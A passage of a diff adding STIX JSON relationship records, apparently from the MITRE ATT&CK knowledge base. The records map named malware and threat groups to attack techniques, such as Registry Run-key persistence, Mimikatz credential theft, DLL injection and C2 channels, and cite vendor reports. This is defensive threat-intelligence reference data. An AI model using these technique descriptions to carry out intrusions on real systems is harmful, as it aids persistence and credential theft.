"relationship--d8a844bc-373b-44aa-831a-da33d1505ae3", + "source_ref": "malware--4189a679-72ed-4a89-a57c-7f689712ecf8", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "FireEye. (2018, February 20). APT37 (Reaper): The Overlooked North Korean Actor. Retrieved March 1, 2018.", + "source_name": "FireEye APT37 Feb 2018", + "url": "https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4", + "description": "[InvisiMole](https://attack.mitre.org/software/S0260) has a command to create, set, copy, or delete a specified Registry key or value.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--66f5e718-f910-487f-852a-98a8d752b0ba", + "source_ref": "malware--47afe41c-4c08-485e-b062-c3bd209a1cce", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Hromcov\u00e1, Z. (2018, June 07). InvisiMole: Surprisingly equipped spyware, undercover since 2013. Retrieved July 10, 2018.", + "source_name": "ESET InvisiMole June 2018", + "url": "https://www.welivesecurity.com/2018/06/07/invisimole-equipped-spyware-undercover/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--c0df6533-30ee-4a4a-9c6d-17af5abdf0b2", + "description": "[Keydnap](https://attack.mitre.org/software/S0276) adds the setuid flag to a binary so it can easily elevate in the future.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--72b7d86e-5e78-4bc6-a16e-c4380d12d627", + "source_ref": "malware--4b072c90-bc7a-432b-940e-016fc1c01761", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Marc-Etienne M.Leveille. (2016, July 6). New OSX/Keydnap malware is hungry for credentials. Retrieved July 3, 2017.", + "source_name": "OSX Keydnap malware", + "url": "https://www.welivesecurity.com/2016/07/06/new-osxkeydnap-malware-hungry-credentials/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5", + "description": "[Linfo](https://attack.mitre.org/software/S0211) creates a backdoor through which remote attackers can obtain data from local systems.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--d6049a18-43d5-4761-ad56-a60e2a7998cf", + "source_ref": "malware--e9e9bfe2-76f4-4870-a2a1-b7af89808613", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Zhou, R. (2012, May 15). Backdoor.Linfo. Retrieved February 23, 2018.", + "source_name": "Symantec Linfo May 2012", + "url": "https://www.symantec.com/security_response/writeup.jsp?docid=2012-051605-2535-99" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--4b74a1d4-b0e9-4ef1-93f1-14ecc6e2f5b5", + "description": "[XTunnel](https://attack.mitre.org/software/S0117) uses SSL/TLS and RC4 to encrypt traffic.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--b3973baa-0185-45a1-934d-2b29f742a2df", + "source_ref": "malware--7343e208-7cab-45f2-a47b-41ba5e2f0fab", + "modified": "2019-04-19T18:36:31.961Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Belcher, P.. (2016, July 28). Tunnel of Gov: DNC Hack and the Russian XTunnel. Retrieved August 3, 2016.", + "source_name": "Invincea XTunnel", + "url": "https://www.invincea.com/2016/07/tunnel-of-gov-dnc-hack-and-the-russian-xtunnel/" + }, + { + "source_name": "ESET Sednit Part 2", + "description": "ESET. (2016, October). En Route with Sednit - Part 2: Observing the Comings and Goings. Retrieved November 21, 2016.", + "url": "http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part-2.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--f72eb8a8-cd4c-461d-a814-3f862befbf00", + "description": "[Zebrocy](https://attack.mitre.org/software/S0251) uses raw sockets to communicate with its C2 server.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--dbfceb88-6548-49c9-97e2-8e187856edb3", + "source_ref": "malware--a4f57468-fbd5-49e4-8476-52088220b92d", + "modified": "2019-07-17T01:18:32.653Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Palo Alto Sofacy 06-2018", + "description": "Lee, B., Falcone, R. (2018, June 06). Sofacy Group\u2019s Parallel Attacks. Retrieved June 18, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/06/unit42-sofacy-groups-parallel-attacks/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22", + "description": "[Lazarus Group](https://attack.mitre.org/groups/G0032) leveraged [Mimikatz](https://attack.mitre.org/software/S0002) to extract Windows Credentials of currently logged-in users and steals passwords stored in browsers.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--c01c8bd2-0471-470c-aaab-4d4f96a27e9a", + "source_ref": "intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a", + "modified": "2019-09-09T19:15:45.215Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Lazarus KillDisk", + "description": "K\u00e1lnai, P., Cherepanov A. (2018, April 03). Lazarus KillDisks Central American casino. Retrieved May 17, 2018.", + "url": "https://www.welivesecurity.com/2018/04/03/lazarus-killdisk-central-american-casino/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--d742a578-d70e-4d0e-96a6-02a9c30204e6", + "description": "[PLATINUM](https://attack.mitre.org/groups/G0068) has sometimes used drive-by attacks against vulnerable browser plugins.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--0583724d-7778-42ed-995c-acad526db4ba", + "source_ref": "intrusion-set--f9c06633-dcff-48a1-8588-759e7cec5694", + "modified": "2019-05-10T12:14:32.180Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Microsoft PLATINUM April 2016", + "description": "Windows Defender Advanced Threat Hunting Team. (2016, April 29). PLATINUM: Targeted attacks in South and Southeast Asia. Retrieved February 15, 2018.", + "url": "https://download.microsoft.com/download/2/2/5/225BFE3E-E1DE-4F5B-A77B-71200928D209/Platinum%20feature%20article%20-%20Targeted%20attacks%20in%20South%20and%20Southeast%20Asia%20April%202016.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", + "description": "[Turla](https://attack.mitre.org/groups/G0010) surveys a system upon check-in to discover operating system configuration details using the systeminfo and set commands.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.045Z", + "id": "relationship--e2675622-ec8e-4894-9f5e-3c82944e3019", + "source_ref": "intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6", + "modified": "2019-07-14T21:04:44.980Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Kaspersky Turla", + "description": "Kaspersky Lab's Global Research and Analysis Team. (2014, August 7). The Epic Turla Operation: Solving some of the mysteries of Snake/Uroburos. Retrieved December 11, 2014.", + "url": "https://securelist.com/the-epic-turla-operation/65545/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--9422fc14-1c43-410d-ab0f-a709b76c72dc", + "description": "[HTTPBrowser](https://attack.mitre.org/software/S0070) has established persistence by setting the HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run key value for wdm to the path of the executable. It has also used the Registry entry HKEY_USERS\\Software\\Microsoft\\Windows\\CurrentVersion\\Run vpdn \u201c%ALLUSERPROFILE%\\%APPDATA%\\vpdn\\VPDN_LU.exe\u201d to establish persistence.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--259b878f-147e-443b-8360-aabc00cf6d73", + "source_ref": "malware--e066bf86-9cfb-407a-9d25-26fd5d91e360", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Desai, D.. (2015, August 14). Chinese cyber espionage APT group leveraging recently leaked Hacking Team exploits to target a Financial Services Firm. Retrieved January 26, 2016.", + "source_name": "ZScaler Hacking Team", + "url": "http://research.zscaler.com/2015/08/chinese-cyber-espionage-apt-group.html" + }, + { + "description": "Shelmire, A.. (2015, July 6). Evasive Maneuvers. Retrieved January 22, 2016.", + "source_name": "ThreatStream Evasion Analysis", + "url": "https://www.threatstream.com/blog/evasive-maneuvers-the-wekby-group-attempts-to-evade-analysis-via-custom-rop" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6", + "description": "[NETEAGLE](https://attack.mitre.org/software/S0034) will attempt to detect if the infected host is configured to a proxy. If so, [NETEAGLE](https://attack.mitre.org/software/S0034) will send beacons via an HTTP POST request; otherwise it will send beacons via UDP/6000. [NETEAGLE](https://attack.mitre.org/software/S0034) will also use HTTP to download resources that contain an IP address and Port Number pair to connect to for further C2. Adversaries can also use [NETEAGLE](https://attack.mitre.org/software/S0034) to establish an RDP connection with a controller over TCP/7519.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--61827309-9071-416b-aedf-7f82f224db2e", + "source_ref": "malware--53cf6cc4-65aa-445a-bcf8-c3d296f8a7a2", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "FireEye Labs. (2015, April). APT30 AND THE MECHANICS OF A LONG-RUNNING CYBER ESPIONAGE OPERATION. Retrieved May 1, 2015.", + "source_name": "FireEye APT30", + "url": "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--514ede4c-78b3-4d78-a38b-daddf6217a79", + "description": "[Turla](https://attack.mitre.org/groups/G0010) established persistence by adding a Shell value under the Registry key HKCU\\Software\\Microsoft\\Windows NT\\CurrentVersion]Winlogon.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--ce9c90e9-d408-485e-a380-52a87abcf3fc", + "source_ref": "intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6", + "modified": "2019-07-14T21:04:44.988Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "ESET Turla Mosquito Jan 2018", + "description": "ESET, et al. (2018, January). Diplomats in Eastern Europe bitten by a Turla mosquito. Retrieved July 3, 2018.", + "url": "https://www.welivesecurity.com/wp-content/uploads/2018/01/ESET_Turla_Mosquito.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "tool--03342581-f790-4f03-ba41-e82e67392e23", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.053Z", + "id": "relationship--a36263d1-d109-4c94-930a-6be1e9615527", + "source_ref": "intrusion-set--16ade1aa-0ea1-4bb7-88cc-9079df2ae756", + "modified": "2019-09-04T19:48:17.681Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "FireEye admin@338", + "description": "FireEye Threat Intelligence. (2015, December 1). China-based Cyber Threat Group Uses Dropbox for Malware Communications and Targets Hong Kong Media Outlets. Retrieved December 4, 2015.", + "url": "https://www.fireeye.com/blog/threat-research/2015/11/china-based-threat.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "malware--fb4e3792-e915-4fdd-a9cd-92dfa2ace7aa", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--14702113-ddd7-4898-902a-aeb884b26266", + "source_ref": "intrusion-set--222fbd21-fc4f-4b7e-9f85-0e6e3a76c33f", + "modified": "2019-09-03T18:50:16.893Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "FireEye APT10 Sept 2018", + "description": "Matsuda, A., Muhammad I. (2018, September 13). APT10 Targeting Japanese Corporations Using Updated TTPs. Retrieved September 17, 2018.", + "url": "https://www.fireeye.com/blog/threat-research/2018/09/apt10-targeting-japanese-corporations-using-updated-ttps.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--b9f5dbe2-4c55-4fc5-af2e-d42c1d182ec4", + "description": "[ADVSTORESHELL](https://attack.mitre.org/software/S0045) compresses output data generated by command execution with a custom implementation of the Lempel\u2013Ziv\u2013Welch (LZW) algorithm.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--c0e78590-0266-43e0-8fb5-efd95556c20c", + "source_ref": "malware--fb575479-14ef-41e9-bfab-0b7cf10bec73", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "ESET. (2016, October). En Route with Sednit - Part 2: Observing the Comings and Goings. Retrieved November 21, 2016.", + "source_name": "ESET Sednit Part 2", + "url": "http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part-2.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18", + "description": "[TINYTYPHON](https://attack.mitre.org/software/S0131) searches through the drive containing the OS, then all drive letters C through to Z, for documents matching certain extensions.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--6cfd1f0f-0355-4b1a-af29-84ed992bbb71", + "source_ref": "malware--85b39628-204a-48d2-b377-ec368cbcb7ca", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Settle, A., et al. (2016, August 8). MONSOON - Analysis Of An APT Campaign. Retrieved September 22, 2016.", + "source_name": "Forcepoint Monsoon", + "url": "https://www.forcepoint.com/sites/default/files/resources/files/forcepoint-security-labs-monsoon-analysis-report.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--42e8de7b-37b2-4258-905a-6897815e58e0", + "description": "The [CozyCar](https://attack.mitre.org/software/S0046) dropper has masqueraded a copy of the infected system's rundll32.exe executable that was moved to the malware's install directory and renamed according to a predefined configuration file.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "relationship--a4a49b56-e220-4a81-a0da-43b63c012cfe", + "source_ref": "malware--e6ef745b-077f-42e1-a37d-29eecff9c754", + "modified": "2019-04-24T23:17:25.154Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "F-Secure Labs. (2015, April 22). CozyDuke: Malware Analysis. Retrieved December 10, 2015.", + "source_name": "F-Secure CozyDuke", + "url": "https://www.f-secure.com/documents/996508/1030745/CozyDuke" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6", + "description": "[InvisiMole](https://attack.mitre.org/software/S0260) uses HTTP for C2 communications.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--e1b4887c-37ac-4470-88d5-ece2bfa6477e", + "source_ref": "malware--47afe41c-4c08-485e-b062-c3bd209a1cce", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Hromcov\u00e1, Z. (2018, June 07). InvisiMole: Surprisingly equipped spyware, undercover since 2013. Retrieved July 10, 2018.", + "source_name": "ESET InvisiMole June 2018", + "url": "https://www.welivesecurity.com/2018/06/07/invisimole-equipped-spyware-undercover/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7fd87010-3a00-4da3-b905-410525e8ec44", + "description": "[Cobalt Strike](https://attack.mitre.org/software/S0154) can use [PowerShell](https://attack.mitre.org/techniques/T1086), Python, VBA, [PowerSploit](https://attack.mitre.org/software/S0194), other scripting frameworks to perform execution.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "relationship--23dca74f-2b3e-46c0-b7a3-9d9eab932f58", + "source_ref": "tool--aafea02e-ece5-4bb2-91a6-3bf8c7f38a39", + "modified": "2019-06-06T19:04:39.333Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Cobalt Strike TTPs Dec 2017", + "description": "Cobalt Strike. (2017, December 8). Tactics, Techniques, and Procedures. Retrieved December 20, 2017.", + "url": "https://www.cobaltstrike.com/downloads/reports/tacticstechniquesandprocedures.pdf" + }, + { + "description": "Mudge, R. (2017, May 23). Cobalt Strike 3.8 \u2013 Who\u2019s Your Daddy?. Retrieved June 4, 2019.", + "source_name": "CobaltStrike Daddy May 2017", + "url": "https://blog.cobaltstrike.com/2017/05/23/cobalt-strike-3-8-whos-your-daddy/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6", + "description": "[Keydnap](https://attack.mitre.org/software/S0276) uses HTTPS for command and control.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--39556624-1c45-4178-bfa4-7a20b254df7e", + "source_ref": "malware--4b072c90-bc7a-432b-940e-016fc1c01761", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Patrick Wardle. (2017, January 1). Mac Malware of 2016. Retrieved September 21, 2018.", + "source_name": "synack 2016 review", + "url": "https://www.synack.com/2017/01/01/mac-malware-2016/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--35dd844a-b219-4e2b-a6bb-efa9a75995a9", + "description": "[POWRUNER](https://attack.mitre.org/software/S0184) persists through a scheduled task that executes it every minute.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "relationship--ea5f9e1f-68fb-46dd-9e09-f66066808d0c", + "source_ref": "malware--09b2cd76-c674-47cc-9f57-d2f2ad150a46", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Sardiwal, M, et al. (2017, December 7). New Targeted Attack in the Middle East by APT34, a Suspected Iranian Threat Group, Using CVE-2017-11882 Exploit. Retrieved December 20, 2017.", + "source_name": "FireEye APT34 Dec 2017", + "url": "https://www.fireeye.com/blog/threat-research/2017/12/targeted-attack-in-middle-east-by-apt34.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--a93494bb-4b80-4ea1-8695-3236a49916fd", + "description": "[Net Crawler](https://attack.mitre.org/software/S0056) uses a list of known credentials gathered through credential dumping to guess passwords to accounts as it spreads throughout a network.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--2355c588-ff82-4eaf-82db-54af59ede582", + "source_ref": "malware--fde50aaa-f5de-4cb8-989a-babb57d6a704", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Cylance. (2014, December). Operation Cleaver. Retrieved September 14, 2017.", + "source_name": "Cylance Cleaver", + "url": "https://www.cylance.com/content/dam/cylance/pages/operation-cleaver/Cylance_Operation_Cleaver_Report.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--43e7dc91-05b2-474c-b9ac-2ed4fe101f4d", + "description": "[Remsec](https://attack.mitre.org/software/S0125) can perform DLL injection.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--11247a95-272b-4ae2-8dae-2cd049328734", + "source_ref": "malware--69d6f4a9-fcf0-4f51-bca7-597c51ad0bb8", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Kaspersky Lab's Global Research & Analysis Team. (2016, August 9). The ProjectSauron APT. Technical Analysis. Retrieved August 17, 2016.", + "source_name": "Kaspersky ProjectSauron Technical Analysis", + "url": "https://securelist.com/files/2016/07/The-ProjectSauron-APT_Technical_Analysis_KL.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--9422fc14-1c43-410d-ab0f-a709b76c72dc", + "description": "The \"SCOUT\" variant of [NETEAGLE](https://attack.mitre.org/software/S0034) achieves persistence by adding itself to the HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run Registry key.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--617fe29d-ac48-4cd0-ae8c-19cf7cfdbedd", + "source_ref": "malware--53cf6cc4-65aa-445a-bcf8-c3d296f8a7a2", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "FireEye Labs. (2015, April). APT30 AND THE MECHANICS OF A LONG-RUNNING CYBER ESPIONAGE OPERATION. Retrieved May 1, 2015.", + "source_name": "FireEye APT30", + "url": "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--02fefddc-fb1b-423f-a76b-7552dd211d4d", + "description": "[BOOTRASH](https://attack.mitre.org/software/S0114) is a Volume Boot Record (VBR) bootkit that uses the VBR to maintain persistence.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--63d53308-7d7d-4777-a1cc-c7100735609c", + "source_ref": "malware--da2ef4a9-7cbe-400a-a379-e2f230f28db3", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Mandiant. (2016, February). M-Trends 2016. Retrieved January 4, 2017.", + "source_name": "MTrends 2016", + "url": "https://www.fireeye.com/content/dam/fireeye-www/regional/fr_FR/offers/pdfs/ig-mtrends-2016.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22", + "description": "[FIN8](https://attack.mitre.org/groups/G0061) harvests credentials using Invoke-Mimikatz or Windows Credentials Editor (WCE).", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--331e59e9-0d10-4c2d-ba92-e8eb0de1cc95", + "source_ref": "intrusion-set--fd19bd82-1b14-49a1-a176-6cdc46b8a826", + "modified": "2019-03-22T20:21:57.728Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "FireEye Know Your Enemy FIN8 Aug 2016", + "description": "Elovitz, S. & Ahl, I. (2016, August 18). Know Your Enemy: New Financially-Motivated & Spear-Phishing Group. Retrieved February 26, 2018.", + "url": "https://www2.fireeye.com/WBNR-Know-Your-Enemy-UNC622-Spear-Phishing.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c", + "description": "[Bankshot](https://attack.mitre.org/software/S0239) decodes embedded XOR strings.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--5412525e-cba5-4fa1-89ff-7e6fa2b92e24", + "source_ref": "malware--1f6e3702-7ca1-4582-b2e7-4591297d05a8", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "US-CERT. (2017, December 13). Malware Analysis Report (MAR) - 10135536-B. Retrieved July 17, 2018.", + "source_name": "US-CERT Bankshot Dec 2017", + "url": "https://www.us-cert.gov/sites/default/files/publications/MAR-10135536-B_WHITE.PDF" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--a93494bb-4b80-4ea1-8695-3236a49916fd", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.029Z", + "id": "relationship--cade3e14-aab4-4297-b77d-019d3ee0ccef", + "source_ref": "course-of-action--4a99fecc-680b-448e-8fe7-8144c60d272c", + "modified": "2019-10-09T20:58:14.084Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--cc7b8c4e-9be0-47ca-b0bb-83915ec3ee2f", + "description": "[Dipsind](https://attack.mitre.org/software/S0200) encodes C2 traffic with base64.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--83a949a2-ed5d-4ae5-a45f-885e58a7d931", + "source_ref": "malware--e170995d-4f61-4f17-b60e-04f9a06ee517", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Windows Defender Advanced Threat Hunting Team. (2016, April 29). PLATINUM: Targeted attacks in South and Southeast Asia. Retrieved February 15, 2018.", + "source_name": "Microsoft PLATINUM April 2016", + "url": "https://download.microsoft.com/download/2/2/5/225BFE3E-E1DE-4F5B-A77B-71200928D209/Platinum%20feature%20article%20-%20Targeted%20attacks%20in%20South%20and%20Southeast%20Asia%20April%202016.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--62b8c999-dcc0-4755-bd69-09442d9359f5", + "description": "[APT3](https://attack.mitre.org/groups/G0022) has a tool that can run DLLs.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "relationship--555e47f2-54bb-4c97-8804-536aa354126c", + "source_ref": "intrusion-set--0bbdf25b-30ff-4894-a1cd-49260d0dd2d9", + "modified": "2019-04-29T18:01:20.514Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "FireEye Clandestine Fox", + "description": "Chen, X., Scott, M., Caselden, D.. (2014, April 26). New Zero-Day Exploit targeting Internet Explorer Versions 9 through 11 Identified in Targeted Attacks. Retrieved January 14, 2016.", + "url": "https://www.fireeye.com/blog/threat-research/2014/04/new-zero-day-exploit-targeting-internet-explorer-versions-9-through-11-identified-in-targeted-attacks.html" + } + ], + "relationship_type": "uses" + }, + { + 